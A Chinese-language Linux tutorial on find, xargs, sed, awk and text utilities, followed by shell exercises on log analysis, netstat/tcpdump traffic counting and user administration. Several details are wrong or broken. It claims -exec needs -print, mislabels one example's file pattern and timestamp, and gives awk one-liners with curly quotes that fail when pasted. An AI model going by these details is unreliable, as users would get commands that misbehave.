    -fstype  查找位于某一类型文件系统中的文件,这些文件系统类型通常可以在配置文件/etc/fstab中找到,该配置文件中包含了本系统中有关文件系统的信息。
    -mount   在查找文件时不跨越文件系统mount点。
    -follow  如果find命令遇到符号链接文件,就跟踪至链接所指向的文件。
    

    另外,下面三个的区别:

    -amin n   查找系统中最后N分钟访问的文件
    -atime n  查找系统中最后n*24小时访问的文件
    -cmin n   查找系统中最后N分钟被改变文件状态的文件
    -ctime n  查找系统中最后n*24小时被改变文件状态的文件
    -mmin n   查找系统中最后N分钟被改变文件数据的文件
    -mtime n  查找系统中最后n*24小时被改变文件数据的文件
    

    4、使用exec或ok来执行shell命令

    使用find时,只要把想要的操作写在一个文件里,就可以用exec来配合find查找,很方便 在有些操作系统中只允许-exec选项执行诸如ls或ls -l这样的命令。大多数用户使用这一选项是为了查找旧文件并删除它们。建议在真正执行rm命令删除文件之前,最好先用ls命令看一下,确认它们是所要删除的文件。

    exec选项后面跟随着所要执行的命令或脚本,然后是一对儿{},一个空格和一个\,最后是一个分号。为了使用exec选项,必须要同时使用print选项。如果验证一下find命令,会发现该命令只输出从当前路径起的相对路径及文件名。

    例如:为了用ls -l命令列出所匹配到的文件,可以把ls -l命令放在find命令的-exec选项中

    # find . -type f -exec ls -l {} \;
    

    上面的例子中,find命令匹配到了当前目录下的所有普通文件,并在-exec选项中使用ls -l命令将它们列出。

    在/logs目录中查找更改时间在5日以前的文件并删除它们:

    $ find logs -type f -mtime +5 -exec rm {} \;
    

    记住:在shell中用任何方式删除文件之前,应当先查看相应的文件,一定要小心!当使用诸如mv或rm命令时,可以使用-exec选项的安全模式。它将在对每个匹配到的文件进行操作之前提示你。

    在下面的例子中, find命令在当前目录中查找所有文件名以.LOG结尾、更改时间在5日以上的文件,并删除它们,只不过在删除之前先给出提示。

    $ find . -name "*.conf"  -mtime +5 -ok rm {  } \;
    < rm ... ./conf/httpd.conf > ? n
    

    按y键删除文件,按n键不删除。

    任何形式的命令都可以在-exec选项中使用。

    在下面的例子中我们使用grep命令。find命令首先匹配所有文件名为“ passwd*”的文件,例如passwd、passwd.old、passwd.bak,然后执行grep命令看看在这些文件中是否存在一个itcast用户。

    # find /etc -name "passwd*" -exec grep "itcast" {  } \;
    
    itcast:x:1000:1000::/home/itcast:/bin/bash
    

    选项详解

    1.使用name选项

    文件名选项是find命令最常用的选项,要么单独使用该选项,要么和其他选项一起使用。

    可以使用某种文件名模式来匹配文件,记住要用引号将文件名模式引起来。

    不管当前路径是什么,如果想要在自己的根目录$HOME中查找文件名符合*.txt的文件,使用~作为 'pathname'参数,波浪号~代表了你的$HOME目录。

    $ find ~ -name "*.txt" -print
    

    想要在当前目录及子目录中查找所有的‘ *.txt’文件,可以用:

    $ find . -name "*.txt" -print
    

    想要的当前目录及子目录中查找文件名以一个大写字母开头的文件,可以用:

    $ find . -name "[A-Z]*" -print
    

    想要在/etc目录中查找文件名以host开头的文件,可以用:

    $ find /etc -name "host*" -print
    

    想要查找$HOME目录中的文件,可以用:

    $ find ~ -name "*" -print 或find . -print
    

    要想让系统高负荷运行,就从根目录开始查找所有的文件:

    $ find / -name "*" -print
    

    如果想在当前目录查找文件名以两个小写字母开头,跟着是两个数字,最后是.txt的文件,下面的命令就能够返回例如名为ax37.txt的文件:

    $find . -name "[a-z][a-z][0-9][0-9].txt" -print
    

    2、用perm选项

    按照文件权限模式用-perm选项,按文件权限模式来查找文件的话。最好使用八进制的权限表示法。

    如在当前目录下查找文件权限位为755的文件,即文件属主可以读、写、执行,其他用户可以读、执行的文件,可以用:

    $ find . -perm 755 -print
    

    还有一种表达方法:在八进制数字前面要加一个横杠-,表示都匹配,如-007就相当于777,-006相当于666

    # ls -l
    # find . -perm 006
    # find . -perm -006
    
    -perm mode:文件许可正好符合mode
    -perm +mode:文件许可部分符合mode
    -perm -mode: 文件许可完全符合mode
    

    3、忽略某个目录

    如果在查找文件时希望忽略某个目录,因为你知道那个目录中没有你所要查找的文件,那么可以使用-prune选项来指出需要忽略的目录。在使用-prune选项时要当心,因为如果你同时使用了-depth选项,那么-prune选项就会被find命令忽略。

    如果希望在/apps目录下查找文件,但不希望在/apps/bin目录下查找,可以用:

    $ find /apps -path "/apps/bin" -prune -o -print
    

    4、使用find查找文件的时候怎么避开某个文件目录

    比如要在/home/itcast目录下查找不在dir1子目录之内的所有文件

    find /home/itcast -path "/home/itcast/dir1" -prune -o -print
    

    避开多个文件夹

    find /home \( -path /home/itcast/f1 -o -path /home/itcast/f2 \) -prune -o -print
    

    注意(前的\,注意(后的空格。

    5、使用user和nouser选项

    按文件属主查找文件,如在$HOME目录中查找文件属主为itcast的文件,可以用:

    $ find ~ -user itcast -print
    

    在/etc目录下查找文件属主为uucp的文件:

    $ find /etc -user uucp -print
    

    为了查找属主帐户已经被删除的文件,可以使用-nouser选项。这样就能够找到那些属主在/etc/passwd文件中没有有效帐户的文件。在使用-nouser选项时,不必给出用户名; find命令能够为你完成相应的工作。

    例如,希望在/home目录下查找所有的这类文件,可以用:

    $ find /home -nouser -print
    

    6、使用group和nogroup选项

    就像user和nouser选项一样,针对文件所属于的用户组, find命令也具有同样的选项,为了在/apps目录下查找属于itcast用户组的文件,可以用:

    $ find /apps -group itcast -print
    

    要查找没有有效所属用户组的所有文件,可以使用nogroup选项。下面的find命令从文件系统的根目录处查找这样的文件

    $ find / -nogroup -print
    

    7、按照更改时间或访问时间等查找文件

    如果希望按照更改时间来查找文件,可以使用mtime,atime或ctime选项。如果系统突然没有可用空间了,很有可能某一个文件的长度在此期间增长迅速,这时就可以用mtime选项来查找这样的文件。

    用减号-来限定更改时间在距今n日以内的文件,而用加号+来限定更改时间在距今n日以前的文件。

    希望在系统根目录下查找更改时间在5日以内的文件,可以用:

    $ find / -mtime -5 -print
    

    为了在/var/adm目录下查找更改时间在3日以前的文件,可以用:

    $ find /var/adm -mtime +3 -print
    

    8、查找比某个文件新或旧的文件

    如果希望查找更改时间比某个文件新但比另一个文件旧的所有文件,可以使用-newer选项。它的一般形式为:

    newest_file_name ! oldest_file_name
    
    其中,!是逻辑非符号。
    

    9、使用type选项

    在/etc目录下查找所有的目录,可以用:

    $ find /etc -type d -print
    

    在当前目录下查找除目录以外的所有类型的文件,可以用:

    $ find . ! -type d -print
    

    在/etc目录下查找所有的符号链接文件,可以用

    $ find /etc -type l -print
    

    10、使用size选项

    可以按照文件长度来查找文件,这里所指的文件长度既可以用块(block)来计量,也可以用字节来计量。以字节计量文件长度的表达形式为N c;以块计量文件长度只用数字表示即可。

    在按照文件长度查找文件时,一般使用这种以字节表示的文件长度,在查看文件系统的大小,因为这时使用块来计量更容易转换。 在当前目录下查找文件长度大于1 M字节的文件:

    $ find . -size +1000000c -print
    

    在/home/apache目录下查找文件长度恰好为100字节的文件:

    $ find /home/apache -size 100c -print
    

    在当前目录下查找长度超过10块的文件(一块等于512字节):

    $ find . -size +10 -print
    

    11、使用depth选项

    在使用find命令时,可能希望先匹配所有的文件,再在子目录中查找。使用depth选项就可以使find命令这样做。这样做的一个原因就是,当在使用find命令向磁带上备份文件系统时,希望首先备份所有的文件,其次再备份子目录中的文件。

    在下面的例子中, find命令从文件系统的根目录开始,查找一个名为CON.FILE的文件。

    它将首先匹配所有的文件然后再进入子目录中查找。

    $ find / -name "CON.FILE" -depth -print
    

    12、使用mount选项

    在当前的文件系统中查找文件(不进入其他文件系统),可以使用find命令的mount选项。

    从当前目录开始查找位于本文件系统中文件名以XC结尾的文件:

    $ find . -name "*.XC" -mount -print
    

    练习:请找出你10天内所访问或修改过的.c和.cpp文件。

    find命令的例子;

    1、查找当前用户主目录下的所有文件:

    下面两种方法都可以使用

    $ find $HOME -print
    $ find ~ -print
    

    2、让当前目录中文件属主具有读、写权限,并且文件所属组的用户和其他用户具有读权限的文件;

    $ find . -type f -perm 644 -exec ls -l {  } \;
    

    3、为了查找系统中所有文件长度为0的普通文件,并列出它们的完整路径;

    $ find / -type f -size 0 -exec ls -l {  } \;
    

    4、查找/var/logs目录中更改时间在7日以前的普通文件,并在删除之前询问它们;

    $ find /var/logs -type f -mtime +7 -ok rm {  } \;
    

    5、为了查找系统中所有属于root组的文件;

    $find . -group root -exec ls -l {  } \;
    

    6、find命令将删除当目录中访问时间在7日以来、含有数字后缀的admin.log文件。

    该命令只检查三位数字,所以相应文件的后缀不要超过999。先建几个admin.log*的文件 ,才能使用下面这个命令

    $ find . -name "admin.log[0-9][0-9][0-9]" -atime -7  -ok rm {  } \;
    

    7、为了查找当前文件系统中的所有目录并排序;

    $ find . -type d | sort
    

    三、xargs

    xargs - build and execute command lines from standard input

    在使用find命令的-exec选项处理匹配到的文件时, find命令将所有匹配到的文件一起传递给exec执行。但有些系统对能够传递给exec的命令长度有限制,这样在find命令运行几分钟之后,就会出现 溢出错误。错误信息通常是“参数列太长”或“参数列溢出”。这就是xargs命令的用处所在,特别是与find命令一起使用。

    find命令把匹配到的文件传递给xargs命令,而xargs命令每次只获取一部分文件而不是全部,不像-exec选项那样。这样它可以先处理最先获取的一部分文件,然后是下一批,并如此继续下去。

    在有些系统中,使用-exec选项会为处理每一个匹配到的文件而发起一个相应的进程,并非将匹配到的文件全部作为参数一次执行;这样在有些情况下就会出现进程过多,系统性能下降的问题,因而效率不高;

    而使用xargs命令则只有一个进程。另外,在使用xargs命令时,究竟是一次获取所有的参数,还是分批取得参数,以及每一次获取参数的数目都会根据该命令的选项及系统内核中相应的可调参数来确定。

    来看看xargs命令是如何同find命令一起使用的,并给出一些例子。

    下面的例子查找系统中的每一个普通文件,然后使用xargs命令来测试它们分别属于哪类文 件

    #find . -type f -print | xargs file
    

    在当前目录下查找所有用户具有读、写和执行权限的文件,并收回相应的写权限:

    # ls -l
    # find . -perm -7 -print | xargs chmod o-w
    # ls -l
    

    用grep命令在所有的普通文件中搜索hello这个词:

    # find . -type f -print | xargs grep "hello"
    

    用grep命令在当前目录下的所有普通文件中搜索hello这个词:

    # find . -name \* -type f -print | xargs grep "hello"
    

    注意,在上面的例子中, \用来取消find命令中的*在shell中的特殊含义。

    find命令配合使用exec和xargs可以使用户对所匹配到的文件执行几乎所有的命令。

    sed

    sed意为流编辑器(Stream Editor),在Shell脚本和Makefile中作为过滤器使用非常普遍,也就是把前一个程序的输出引入sed的输入,经过一系列编辑命令转换为另一种格式输出。sed和vi都源于早期UNIX的ed工具,所以很多sed命令和vi的末行命令是相同的。

    sed命令行的基本格式为

    sed option 'script' file1 file2 ...
    sed option -f scriptfile file1 file2 ...
    

    选项含义:

    --version            显示sed版本。
    --help               显示帮助文档。
    -n,--quiet,--silent  静默输出,默认情况下,sed程序在所有的脚本指令执行完毕后,将自动打印模式空间中的内容,这些选项可以屏蔽自动打印。
    -e script            允许多个脚本指令被执行。
    -f script-file, 
    --file=script-file   从文件中读取脚本指令,对编写自动脚本程序来说很棒!
    -i,--in-place        直接修改源文件,经过脚本指令处理后的内容将被输出至源文件(源文件被修改)慎用!
    -l N, --line-length=N 该选项指定l指令可以输出的行长度,l指令用于输出非打印字符。
    --posix             禁用GNU sed扩展功能。
    -r, --regexp-extended  在脚本指令中使用扩展正则表达式
    -s, --separate      默认情况下,sed将把命令行指定的多个文件名作为一个长的连续的输入流。而GNU sed则允许把他们当作单独的文件,这样如正则表达式则不进行跨文件匹配。
    -u, --unbuffered    最低限度的缓存输入与输出。
    

    以上仅是sed程序本身的选项功能说明,至于具体的脚本指令(即对文件内容做的操作)后面我们会详细描述,这里就简单介绍几个脚本指令操作作为sed程序的例子。

    a,append        追加
    i,insert        插入
    d,delete        删除
    s,substitution  替换
    

    如:$ sed "2a itcast" ./testfile 在输出testfile内容的第二行后添加"itcast"。

    $ sed "2,5d" testfile
    

    sed处理的文件既可以由标准输入重定向得到,也可以当命令行参数传入,命令行参数可以一次传入多个文件,sed会依次处理。sed的编辑命令可以直接当命令行参数传入,也可以写成一个脚本文件然后用-f参数指定,编辑命令的格式为

    /pattern/action
    

    其中pattern是正则表达式,action是编辑操作。sed程序一行一行读出待处理文件,如果某一行与pattern匹配,则执行相应的action,如果一条命令没有pattern而只有action,这个action将作用于待处理文件的每一行。

    常用的sed命令

    /pattern/p  打印匹配pattern的行
    /pattern/d  删除匹配pattern的行
    /pattern/s/pattern1/pattern2/   查找符合pattern的行,将该行第一个匹配pattern1的字符串替换为pattern2
    /pattern/s/pattern1/pattern2/g  查找符合pattern的行,将该行所有匹配pattern1的字符串替换为pattern2
    

    使用p命令需要注意,sed是把待处理文件的内容连同处理结果一起输出到标准输出的,因此p命令表示除了把文件内容打印出来之外还额外打印一遍匹配pattern的行。比如一个文件testfile的内容是

    123
    abc
    456
    

    打印其中包含abc的行

    $ sed '/abc/p' testfile
    123
    abc
    abc
    456
    

    要想只输出处理结果,应加上-n选项,这种用法相当于grep命令

    $ sed -n '/abc/p' testfile
    abc
    

    使用d命令就不需要-n参数了,比如删除含有abc的行

    $ sed '/abc/d' testfile
    123
    456
    

    注意,sed命令不会修改原文件,删除命令只表示某些行不打印输出,而不是从原文件中删去。

    使用查找替换命令时,可以把匹配pattern1的字符串复制到pattern2中,比如:

    $ sed 's/bc/-&-/' testfile
    123
    a-bc-
    456
    pattern2中的&表示原文件的当前行中与pattern1相匹配的字符串
    

    再比如:

    $ sed 's/\([0-9]\)\([0-9]\)/-\1-~\2~/' testfile
    -1-~2~3
    abc
    -4-~5~6
    

    pattern2中的\1表示与pattern1的第一个()括号相匹配的内容,\2表示与pattern1的第二个()括号相匹配的内容。sed默认使用Basic正则表达式规范,如果指定了-r选项则使用Extended规范,那么()括号就不必转义了。

    $ sed  's/yes/no/;s/static/dhcp/'  ./testfile
    注:使用分号隔开指令。
    
    $ sed -e 's/yes/no/' -e 's/static/dhcp/' testfile
    注:使用-e选项。
    

    如果testfile的内容是

    <html><head><title>Hello World</title></head>
    <body>Welcome to the world of regexp!</body></html>
    

    现在要去掉所有的HTML标签,使输出结果为

    Hello World
    Welcome to the world of regexp!
    

    怎么做呢?如果用下面的命令

    $ sed 's/<.*>//g' testfile
    

    结果是两个空行,把所有字符都过滤掉了。这是因为,正则表达式中的数量限定符会匹配尽可能长的字符串,这称为贪心的(Greedy)。比如sed在处理第一行时,<.*>匹配的并不是或这样的标签,而是

    <html><head><title>Hello World</title>
    

    这样一整行,因为这一行开头是<,中间是若干个任意字符,末尾是>。那么这条命令怎么改才对呢?

    sed 's/<[/ a-z]*>//g' testfile
    sed 's/<[^>]*>//g testfile

    awk

    sed以行为单位处理文件,awk比sed强的地方在于不仅能以行为单位还能以列为单位处理文件。awk缺省的行分隔符是换行,缺省的列分隔符是连续的空格和Tab,但是行分隔符和列分隔符都可以自定义,比如/etc/passwd文件的每一行有若干个字段,字段之间以:分隔,就可以重新定义awk的列分隔符为:并以列为单位处理这个文件。awk实际上是一门很复杂的脚本语言,还有像C语言一样的分支和循环结构,但是基本用法和sed类似,awk命令行的基本形式为:

    awk option 'script' file1 file2 ...
    awk option -f scriptfile file1 file2 ...
    

    和sed一样,awk处理的文件既可以由标准输入重定向得到,也可以当命令行参数传入,编辑命令可以直接当命令行参数传入,也可以用-f参数指定一个脚本文件,编辑命令的格式为:

    /pattern/{actions}
    condition{actions}
    

    和sed类似,pattern是正则表达式,actions是一系列操作。awk程序一行一行读出待处理文件,如果某一行与pattern匹配,或者满足condition条件,则执行相应的actions,如果一条awk命令只有actions部分,则actions作用于待处理文件的每一行。比如文件testfile的内容表示某商店的库存量:

    ProductA  30
    ProductB  76
    ProductC  55
    

    打印每一行的第二列:

    $ awk '{print $2;}' testfile
    30
    76
    55
    

    自动变量$1、$2分别表示第一列、第二列等,类似于Shell脚本的位置参数,而$0表示整个当前行。再比如,如果某种产品的库存量低于75则在行末标注需要订货:

    $ awk '$2<75 {printf "%s\t%s\n", $0, "REORDER";} $2>=75 {print $0;}' testfile
    ProductA  30    REORDER
    ProductB  76
    ProductC  55    REORDER
    

    可见awk也有和C语言非常相似的printf函数。awk命令的condition部分还可以是两个特殊的condition-BEGIN和END,对于每个待处理文件,BEGIN后面的actions在处理整个文件之前执行一次,END后面的actions在整个文件处理完之后执行一次。

    awk命令可以像C语言一样使用变量(但不需要定义变量),比如统计一个文件中的空行数

    $ awk '/^ *$/ {x=x+1;} END {print x;}' testfile
    

    就像Shell的环境变量一样,有些awk变量是预定义的有特殊含义的:

    awk常用的内建变量

    FILENAME  当前输入文件的文件名,该变量是只读的
    NR  当前行的行号,该变量是只读的,R代表record
    NF  当前行所拥有的列数,该变量是只读的,F代表field
    OFS 输出格式的列分隔符,缺省是空格
    FS  输入文件的列分融符,缺省是连续的空格和Tab
    ORS 输出格式的行分隔符,缺省是换行符
    RS  输入文件的行分隔符,缺省是换行符
    

    例如打印系统中的用户帐号列表

    $ awk 'BEGIN {FS=":"} {print $1;}' /etc/passwd
    

    Linux核心命令

    • strace
    • netstat
    • perf
    • top
    • pidstat
    • mpstat
    • dstat
    • vmstat
    • slabtop
    • free
    • top
    • tcpdump
    • ip
    • nicstat
    • dtrace
    • ping
    • dtrace
    • blktrace
    • iptop
    • iostat
    • stap

    文本处理类的命令:

    • wc

      wc [option] [file]...
          -l: 统计行数
          -c: 统计字节数
          -w;统计单词数
      
    • tr

      tr: 转换字符或删除字符
          tr '集合1' '集合2'
          tr -d '字符集合'
      
    • cut

      This is a test line.
      -d字符:指定分隔符
      -f#: 指定要显示字段
          单个数字:一个字段
          逗号分隔的多个数字:指定多个离散字段
          -:连续字段,如3-5;
      
    • sort

      按字符进行比较
      sort [option] file...
          -f: 忽略字符大小写;
          -n: 比较数值大小;
          -t: 指定分隔符
          -k: 指定分隔后进行比较字段
          -u: 重复的行,只显示一次;
      
    • uniq

      移除重复的行
      -c:显示每行重复的次数
      -d:仅显示重复过的行
      -u: 仅显示不曾重复的行
      
    • 工具速查链接

      http://linuxtools-rst.readthedocs.io/zh_CN/latest/tool/index.html
      

    shell习题训练

    #! /bin/sh
    echo "Hello, $LOGNAME"
    echo "Current date is `date`"
    echo "user is `who i am`"
             echo "Current directory `pwd`" 

    1. 求2个数之和 c=$(($a+$b)) 
    2. 计算1-100的和
    3. 将一目录下所有的文件的扩展名改为bak
    4. 编译当前目录下的所有.c文件:
    5. 打印root可以使用可执行文件数,处理结果: root's bins: 2306
    6. 打印当前sshd的端口和进程id,处理结果: sshd Port&&pid: 22 5412
    7. 输出本机创建20000个目录所用的时间,处理结果:

      real    0m3.367s
      user    0m0.066s
      sys     0m1.925s
      
    8. 打印本机的交换分区大小,处理结果: Swap:1024M

    9. 文本分析,取出/etc/password中shell出现的次数

      第一种方法结果:
            4 /bin/bash
            1 /bin/sync
            1 /sbin/halt
           31 /sbin/nologin
            1 /sbin/shutdown
      第二种方法结果:
              /bin/sync       1
              /bin/bash       1
              /sbin/nologin   30
              /sbin/halt      1
              /sbin/shutdown  1
      
    10. 文件整理,employee文件中记录了工号和姓名,(提示join)

      employee.txt:
          100 Jason Smith 
          200 John Doe 
          300 Sanjay Gupta 
          400 Ashok Sharma 
          bonus文件中记录工号和工资
      bonus.txt:
          100 $5,000 
          200 $500 
          300 $3,000 
          400 $1,250 
      要求把两个文件合并并输出如下,处理结果:
          400 ashok sharma $1,250
          100 jason smith  $5,000
          200 john doe  $500
          300 sanjay gupta  $3,000
      
      #! /bin/sh
      join employee.txt bonus.txt |sort -k 2
    11. 写一个shell脚本来得到当前的日期,时间,用户名和当前工作目录。

    12. 编写shell脚本获取本机的网络地址。
    13. 编写个shell脚本将当前目录下大于10K的文件转移到/tmp目录下
    14. 编写一个名为myfirstshell.sh的脚本,它包括以下内容。

      a) 包含一段注释,列出您的姓名、脚本的名称和编写这个脚本的目的。
      b) 问候用户。
      c) 显示日期和时间。
      d) 显示这个月的日历。
      e) 显示您的机器名。
      f) 显示当前这个操作系统的名称和版本。
      g) 显示父目录中的所有文件的列表。
      h) 显示root正在运行的所有进程。
      i) 显示变量TERM、PATH和HOME的值。
      j) 显示磁盘使用情况。
      k) 用id命令打印出您的组ID。
      m) 跟用户说“Good bye”
      
    15. 文件移动拷贝,有m1.txt m2.txt m3.txt m4.txt,分别创建出对应的目录,m1 m2 m3 m4 并把文件移动到对应的目录下

    16. root用户今天登陆了多长时间
    17. 终端输入一个文件名,判断是否是设备文件
    18. 统计IP访问:要求分析apache访问日志,找出访问页面数量在前100位的IP数。日志大小在78M左右。以下是apache的访问日志节选

      202.101.129.218 - - [26/Mar/2006:23:59:55 +0800] "GET /online/stat_inst.php?pid=d065 HTTP/1.1" 302 20-"-" "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
      
    19. 设计一个Shell程序,在/userdata目录下建立50个目录,即user1~user50,并设置每个目录的权限,其中其他用户的权限为:读;文件所有者的权限为:读、写、执行;文件所有者所在组的权限为:读、执行。

    20. 设计一个shell程序,添加一个新组为class1,然后添加属于这个组的30个用户,用户名的形式为stdxx,其中xx从01到30,并设置密码为对应的stdxx。
    21. 编写shell程序,实现自动删除30个账号的功能。账号名为std01至std30。
    22. 用户清理,清除本机除了当前登陆用户以外的所有用户
    23. 设计一个shell程序,在每月第一天备份并压缩/etc目录的所有内容,存放在/root/bak目录里,且文件名,为如下形式yymmdd_etc,yy为年,mm为月,dd为日。Shell程序fileback存放在/usr/bin目录下。
    24. 对于一个用户日志文件,每行记录了一个用户查询串,长度为1-255字节,共几千万行,请排出查询最多的前100条。 日志可以自己构造。 (提示:awk sort uniq head)
    25. 编写自己的ubuntu环境安装脚本
    26. 编写服务器守护进程管理脚本。
    27. 查看TCP连接状态

      netstat -nat |awk ‘{print $6}’|sort|uniq -c|sort -rn
      
      netstat -n | awk ‘/^tcp/ {++S[$NF]};END {for(a in S) print a, S[a]}’ 或
      netstat -n | awk ‘/^tcp/ {++state[$NF]}; END {for(key in state) print key,"\t",state[key]}’
      netstat -n | awk ‘/^tcp/ {++arr[$NF]};END {for(k in arr) print k,"t",arr[k]}’
      
      netstat -n |awk ‘/^tcp/ {print $NF}’|sort|uniq -c|sort -rn
      
      netstat -ant | awk ‘{print $NF}’ | grep -v ‘[a-z]‘ | sort | uniq -c
      
    28. 查找请求数请20个IP(常用于查找攻来源):

      netstat -anlp|grep 80|grep tcp|awk ‘{print $5}’|awk -F: ‘{print $1}’|sort|uniq -c|sort -nr|head -n20
      
      netstat -ant |awk ‘/:80/{split($5,ip,":");++A[ip[1]]}END{for(i in A) print A[i],i}’ |sort -rn|head -n20
      
    29. 用tcpdump嗅探80端口的访问看看谁最高

      tcpdump -i eth0 -tnn dst port 80 -c 1000 | awk -F"." ‘{print $1"."$2"."$3"."$4}’ | sort | uniq -c | sort -nr |head -20
      
    30. 查找较多time_wait连接

      netstat -n|grep TIME_WAIT|awk ‘{print $5}’|sort|uniq -c|sort -rn|head -n20
      
    31. 找查较多的SYN连接

      netstat -an | grep SYN | awk ‘{print $5}’ | awk -F: ‘{print $1}’ | sort | uniq -c | sort -nr | more
      
    32. 根据端口列进程

      netstat -ntlp | grep 80 | awk ‘{print $7}’ | cut -d/ -f1
      
    33. 获得访问前10位的ip地址

      cat access.log|awk ‘{print $1}’|sort|uniq -c|sort -nr|head -10
      cat access.log|awk ‘{counts[$(11)]+=1}; END {for(url in counts) print counts[url], url}’
      
    34. 访问次数最多的文件或页面,取前20

      cat access.log|awk ‘{print $11}’|sort|uniq -c|sort -nr|head -20
      
    35. 列出传输最大的几个exe文件(分析下载站的时候常用)

      cat access.log |awk ‘($7~/.exe/){print $10 " " $1 " " $4 " " $7}’|sort -nr|head -20
      
    36. 列出输出大于200000byte(约200kb)的exe文件以及对应文件发生次数

      cat access.log |awk ‘($10 > 200000 && $7~/.exe/){print $7}’|sort -n|uniq -c|sort -nr|head -100
      
    37. 如果日志最后一列记录的是页面文件传输时间,则有列出到客户端最耗时的页面

      cat access.log |awk ‘($7~/.php/){print $NF " " $1 " " $4 " " $7}’|sort -nr|head -100
      
    38. 列出最最耗时的页面(超过60秒的)的以及对应页面发生次数

      cat access.log |awk ‘($NF > 60 && $7~/.php/){print $7}’|sort -n|uniq -c|sort -nr|head -100
      
    39. 列出传输时间超过 30 秒的文件

      cat access.log |awk ‘($NF > 30){print $7}’|sort -n|uniq -c|sort -nr|head -20
      
    40. 统计网站流量(G)

      cat access.log |awk ‘{sum+=$10} END {print sum/1024/1024/1024}’
      
    41. 统计404的连接

      awk ‘($9 ~/404/)’ access.log | awk ‘{print $9,$7}’ | sort
      
    42. 统计http status

      cat access.log |awk ‘{counts[$(9)]+=1}; END {for(code in counts) print code, counts[code]}'
      cat access.log |awk '{print $9}'|sort|uniq -c|sort -rn
      
    43. 蜘蛛分析,查看是哪些蜘蛛在抓取内容。

      /usr/sbin/tcpdump -i eth0 -l -s 0 -w - dst port 80 | strings | grep -i user-agent | grep -i -E 'bot|crawler|slurp|spider'
      
    44. 创建一个用户mandriva,其ID号为2002,基本组为distro(组ID为3003),附加组为linux;

      # groupadd linux
      # groupadd -g 3003 distro
      # useradd -u 2002 -g distro -G linux mandriva
      
    45. 创建一个用户fedora,其全名为Fedora Community,默认shell为tcsh; # useradd -c "Fedora Community" -s /bin/tcsh fedora

    46. 修改mandriva的ID号为4004,基本组为linux,附加组为distro和fedora;

      # usermod -u 4004 -g linux -G distro,fedora mandriva
      
    47. 给fedora加密码,并设定其密码最短使用期限为2天,最长为50天;

      # passwd fedora
      # chage -m 2 -M 50 fedora
      
    48. 调试命令

      strace -p pid
      
    49. 写一个脚本

      1、创建一个组newgroup, id号为4000;
      2、创建一个用户mageedu1, id号为3001,附加组为newgroup;
      3、创建目录/tmp/hellodirxyz
      4、复制/etc/fstab至上面的目录中
      5、改变目录及内部文件的属主和属组为mageedu1;
      6、让目录及内部文件的其它用户没有任何权限;
      
              #!/bin/bash
              # Description:
              # Version:
              # Datetime:
              # Author:
      
              myGroup="newgroup1"
              myUser="mageedu2"
              myDir="/tmp/hellodirxyz1"
              myID=3002
      
              groupadd -g 4001 $myGroup
              useradd -u $myID -G $myGroup $myUser
              mkdir $myDir
              cp /etc/fstab $myDir
              chown -R $myUser:$myUser $myDir
              chmod -R o= $myDir
      
              unset myGroup myUser myID myDir
      
    50. 统计/bin、/usr/bin、/sbin和/usr/sbin等各目录中的文件个数;

      # ls /bin | wc -l
      
    51. 显示当前系统上所有用户的shell,要求,每种shell只显示一次;

      # cut -d: -f7 /etc/passwd | sort -u
      
    52. 取出/etc/passwd文件的第7行;

      # head -7 /etc/passwd | tail -1
      
    53. 显示第3题中取出的第7行的用户名;

      # head -7 /etc/passwd | tail -1 | cut -d: -f1
      
      # head -7 /etc/passwd | tail -1 | cut -d: -f1 | tr 'a-z' 'A-Z'
      
    54. 统计/etc目录下以P或p开头的文件个数;

      # ls -d /etc/[Pp]* | wc -l
      
    55. 写一个脚本,用for循环实现显示/etc/init.d/functions、/etc/rc.d/rc.sysinit和/etc/fstab各有多少行;

      for fileName in /etc/init.d/functions /etc/rc.d/rc.sysinit /etc/fstab; do
          wc -l $fileName
      done
      
      #!/bin/bash
      for fileName in /etc/init.d/functions /etc/rc.d/rc.sysinit /etc/fstab; do
          lineCount=`wc -l $fileName | cut -d' ' -f1`
          echo "$fileName: $lineCount lines."
      done
      
      #!/bin/bash
      for fileName in /etc/init.d/functions /etc/rc.d/rc.sysinit /etc/fstab; do
          echo "$fileName: `wc -l $fileName | cut -d' ' -f1` lines."
      done
      
    56. 写一个脚本,将上一题中三个文件的复制到/tmp目录中;用for循环实现,分别将每个文件的最近一次的修改时间改为2016年12月15号15点43分;

      for fileName in /etc/init.d/functions /etc/rc.d/rc.sysinit /etc/fstab; do
          cp $fileName /tmp
          baseName=`basename $fileName`
          touch -m -t 201109151327 /tmp/$baseName
      done
      
    57. 写一个脚本, 显示/etc/passwd中第3、7和11个用户的用户名和ID号;

      for lineNo in 3 7 11; do
          userInfo=`head -n $lineNo /etc/passwd | tail -1 | cut -d: -f1,3`
          echo -e "User: `echo $userInfo | cut -d: -f1`\nUid: `echo $userInfo |cut -d: -f2`"
      done
      
    58. 显示/proc/meminfo文件中以大小写s开头的行;

      # grep "^[sS]" /proc/meminfo
      # grep -i "^s" /proc/meminfo
      
    59. 取出默认shell为非bash的用户;

      # grep -v "bash$" /etc/passwd | cut -d: -f1
      
    60. 取出默认shell为bash的且其ID号最大的用户;

      # grep "bash$" /etc/passwd | sort -n -t: -k3 | tail -1 | cut -d: -f1
      
    61. 显示/etc/rc.d/rc.sysinit文件中,以#开头,后面跟至少一个空白字符,而后又有至少一个非空白字符的行;

      # grep "^#[[:space:]]\{1,\}[^[:space:]]\{1,\}" /etc/rc.d/rc.sysinit
      
    62. 显示/boot/grub/grub.conf中以至少一个空白字符开头的行;

      # grep "^[[:space:]]\{1,\}[^[:space:]]\{1,\}" /boot/grub/grub.conf
      
    63. 找出/etc/passwd文件中一位数或两位数;

      # grep --color=auto "\<[0-9]\{1,2\}\>" /etc/passwd
      
    64. 找出ifconfig命令结果中的1到255之间的整数;

      # ifconfig | grep -E --color=auto "\<([1-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\>"
      
    65. 查看当前系统上root用户的所有信息;

      # grep "^root\>" /etc/passwd
      
    66. 添加用户bash和testbash、basher,而后找出当前系统上其用户名和默认shell相同的用户;

      # grep --color=auto "^\([[:alnum:]]\{1,\}\)\>.*\1$" /etc/passwd
      
    67. 找出netstat -tan命令执行的结果中以“LISTEN”或“ESTABLISHED”结尾的行;

    68. 取出当前系统上所有用户的shell,要求:每种shell只显示一次,且按升序显示;
      # cut -d: -f7 /etc/passwd | sort -u
      

    自动化

    开机自启动脚本

    如果要添加为开机启动执行的脚本文件,可先将脚本复制或者软连接到/etc/init.d/目录下,然后用:

        update-rc.d xxx defaults NN命令(NN为启动顺序),
    

